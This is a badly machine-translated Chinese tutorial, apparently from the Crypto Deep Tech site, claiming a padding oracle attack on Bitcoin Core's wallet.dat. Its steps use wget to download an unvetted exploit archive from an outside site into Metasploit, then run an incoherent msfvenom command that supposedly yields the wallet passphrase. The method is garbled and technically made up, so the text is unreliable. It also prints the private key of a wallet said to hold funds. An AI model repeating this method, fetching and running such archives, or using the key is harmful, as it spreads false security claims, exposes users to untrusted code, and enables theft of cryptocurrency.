Padding Oracle Attack 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

在本文中,我們將使用網路安全資源[CAPEC™]中的常見攻擊模式分類。「Padding Oracle Attack」最早於 2012 年在Wallet.dat上討論(在漏洞管理和威脅分析平台「VulDB」上)最受歡迎的Bitcoin Core錢包的問題影響了AES Encryption Padding文件中的 工作 Wallet.dat

此攻擊的技術細節已知:

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
https://en.wikipedia.org/wiki/Padding_oracle_attack

如果目標系統洩漏了解密密文時是否發生填充錯誤的訊息,攻擊者可以在不知道解密金鑰的情況下有效解密資料。 傳輸此類資訊的目標系統成為填充預言機,攻擊者可以使用該預言機在不知道解密金鑰的情況下有效地解密數據,向填充預言機發出平均調用次數(其中 是128*bb文區塊)。 除了執行解密之外,攻擊者還可以使用填充預言機來建立有效的密文(即執行加密),而所有這些都無需知道加密金鑰。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

如果加密訊息在解密前未經過身份驗證以確保其有效性,則任何密碼系統都可能容易受到填充預言機攻擊,然後將填充錯誤訊息傳遞給攻擊者。 例如,這種攻擊方法可用於破壞驗證碼系統或解密/修改儲存在用戶端物件(例如隱藏欄位或 cookie)中的狀態資訊。 


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

這種攻擊方法是對密碼系統的旁道攻擊,利用執行不力的解密過程中洩漏的資料來徹底破壞密碼系統。告訴攻擊者在解密過程中是否發生填充錯誤的單一訊息,無論其形式為何,都足以讓攻擊者破解密碼系統。這些資訊可能以明確完成錯誤訊息、返回空白頁、甚至伺服器需要更長的時間來回應(定時攻擊)的形式出現。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

這種攻擊可以跨域模式發起,攻擊者可以利用跨域資訊洩漏從與受害者互動的目標系統/服務的填充預言中獲取少量資訊。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

在對稱加密中,填充預言機攻擊可以在 AES-256-CBC 加密模式(比特幣核心使用)中執行,其中「預言機」(來源)通訊加密訊息的填充是否正確或是否正確。不是。 此類資料可能允許攻擊者在不知道加密金鑰的情況下使用預言機金鑰透過預言機解密訊息 。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
填入 Wallet.dat 上的 Oracle 攻擊流程

讓我們進入實際部分,透過漏洞執行一系列操作,以便在此過程中填寫Wallet.dat檔案中的oracle並最終找到我們需要的二進位格式的密碼。

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Capture The Flag (CTF)

早些時候,研究人員和錦標賽參與者CTF公開了被駭的 [ wallet.dat 2023 ] 比特幣錢包:1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b,金額為: 44502.42 美元 // 比特幣: 1.17461256 BTC

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

讓我們點擊比特幣核心版本 22.1的鏈接releases

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
https://github.com/bitcoin/bitcoin/releases

索引 /bin/bitcoin-core-22.1/


../ test.rc1/ 2022 年 11 月 8 日 18:08 – test.rc2/ 2022 年 11 月 28 日 09:39 – SHA256SUMS 2022 年 12 月 14 日 17:59 2353 1256 月日17:59 10714 SHA256SUMS.ots 2022 年 12 月 14 日 17:59 538 比特 幣-22.1-aarch64-linux-gnu.tar.gz 2022 年 12 月 14 日 17:59 3456476-45034 比特 幣-gnueabihf.tar.gz 14- 2022 年 12 月 18:00 30424198 比特幣-22.1-osx-signed.dmg 2022 年 12 月 14 日 18:00 14838454 比特幣-21 . 14 日18:00 27930578 比特幣-22.1-powerpc64-linux -gnu.tar.gz 2022 年12月14日18:00 3999102 比特幣-22.1-powerpc64le-linux-gnu.tar.gz 18:00 38867643 比特幣-22.1-riscv64-linux-gnu.tar.gz 2022 年 12 月 14 日 18:01 34114511 比特幣-22.1-win64-setup.exe1 34114511比特幣-22.1-win64-setup.exe 2022 年 18 月-22.1-win64.zip 2022 年 12 月 14 日 18:01 34263968 比特 幣-22.1-x86_64-linux -gnu.tar.gz 2022年12月14日18:01 35964880 . 12月14日18:01 8122372 比特幣 -22.1.torrent 2022年12月14日18:01 49857



安裝比特幣核心版本 22.1

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

一定!重啟QT程式 // 重啟比特幣核心

按鍵:Ctrl + Q

您需要重新啟動程式QT才能同步新的wallet.dat

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們使用 getaddressinfo 指令檢查比特幣錢包:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

getaddressinfo "address"

Return information about the given bitcoin address.
Some of the information will only be present if the address is in the active wallet.

讓我們運行命令:

getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

結果:

{
  "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b",
  "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac",
  "ismine": true,
  "solvable": true,
  "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel",
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f",
  "iscompressed": true,
  "ischange": false,
  "timestamp": 1,
  "labels": [
    ""
  ]
}
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們執行 dumpprivkey 指令來取得比特幣錢包的私鑰:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

dumpprivkey "address"

Reveals the private key corresponding to 'address'.
Then the importprivkey can be used with this output

讓我們運行命令:

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

結果:

Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們看到對比特幣錢包私鑰的存取 受到密碼保護。

passphrase ?!?!?
passphrase ?!?!?
passphrase ?!?!?

讓我們運行並將密碼解密為二進位格式,為此我們需要安裝比特幣核心整合/暫存樹Padding Oracle Attack на Wallet.dat儲存庫;為此您可以從Jupyter Notebook 開啟完成的檔案 並將其上傳到 Google Colab 筆記本)


https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt

Libbitcoin Explorer 3.x庫中的Milk Sad漏洞,如何從比特幣錢包(BTC)用戶竊取90萬美元
ht tps://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat

Padding_Oracle_Attack_on_Wallet_dat.ipynb


讓我們使用連結開啟Google Colab服務:https: //colab.research.google.com


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

點擊“"+"建立新記事本”


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

在 Google Colab 中安裝 Ruby

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

為了運行我們需要的程序,我們將安裝物件導向的程式語言Ruby


!sudo apt install ruby-full

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們來檢查安裝版本


!ruby --version
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Ruby 版本 3.0.2p107(2021-07-07 修訂版 0db68f0233)[x86_64-linux-gnu]

讓我們安裝一個'bitcoin-ruby'與比特幣協議/網路互動的庫


!gem install bitcoin-ruby

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個'ecdsa'用於實現橢圓曲線數位簽章演算法(ECDSA)的庫


!gem install ecdsa

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個函式庫來相互'base58'轉換整數或二進制數。base58


!gem install base58

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個函式庫'crypto'來簡化位元組操作和基本加密操作


!gem install crypto

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個函式庫'config-hash'來簡化大數據的處理。


!gem install config-hash -v 0.9.0

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝 Metasploit Framework 並使用 MSFVenom

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們從GitHub安裝Metasploit 框架並使用MSFVenom工具建立有效負載。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們來看看資料夾的內容"metasploit-framework"


ls

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

選項:

!./msfvenom -help 
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊




讓我們在 Google Colab 中安裝Bitcoin Core 整合/暫存樹

!git clone https://github.com/bitcoin/bitcoin.git


ls

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們透過目錄找到檔案:aes.cpp來整合漏洞以對Wallet.dat發起Padding Oracle Attack

cd bitcoin/src/crypto/

ls

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

使用 cat 實用程式開啟檔案:aes.cpp

cat aes.cpp

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

若要進行攻擊,請將檔案:wallet.dat上傳至目錄:bitcoin/src/crypto/

讓我們使用該實用程式wget並從27PaddingOracleAttackonWalletdat儲存庫下載wallet.dat

!wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們檢查一下目錄的內容:bitcoin/src/crypto/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們回到Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們按照目錄打開資料夾:/modules/exploits/

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

利用DarlenePRO

"ExploitDarlenePRO"從目錄下載:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

ExploitDarlenePRO.zip使用該實用程式解壓縮內容unzip

!unzip ExploitDarlenePRO.zip
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們來瀏覽一下目錄:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

要運行該漏洞,讓我們回到Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們需要識別我們的LHOST (Local Host)攻擊 IP-address虛擬機器。

讓我們運行命令:

!ip addr
!hostname -I
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們使用該工具來創建有效負載 MSFVenom

操作時選擇比特幣錢包:1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Libbitcoin Explorer 3.x庫中的Milk Sad漏洞,如何從比特幣錢包(BTC)用戶竊取90萬美元
https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

啟動命令:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

結果:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

我們需要將生成的二進位格式儲存到檔案中:walletpassphrase.txt我們將使用Python 腳本

團隊:

import hashlib

Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

開啟檔案:walletpassphrase.txt

ls
cat walletpassphrase.txt

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

結果:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

存取私鑰的密碼已找到!


dumpprivkey "address"讓我們透過控制台使用該命令Bitcoin Core

團隊:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

結果:

KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

私鑰已收到!


讓我們安裝庫Bitcoin Utils

pip3 install bitcoin-utils
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們運行程式碼來檢查比特幣地址的合規性:

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f

--------------------------------------

The message to sign: CryptoDeepTech
The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q=
The signature is valid!

這是正確的!私鑰對應比特幣錢包。


讓我們打開 bitaddress 並檢查:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
WIF:  KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
HEX:  3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

BALANCE: $ 44502.42



參考:


本資料是為 CRYPTO DEEP TECH入口網站創建的 ,旨在確保資料和橢圓曲線加密 secp256k1的財務安全,防止比特幣加密貨幣 中的 弱ECDSA 簽章 。該軟體的創建者不對材料的使用負責。


來源

電報:https://t.me/cryptodeeptech

影片素材:https://youtu.be/0aCfT-kCRlw

來源:https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

 密碼分析

Crypto Deep Tech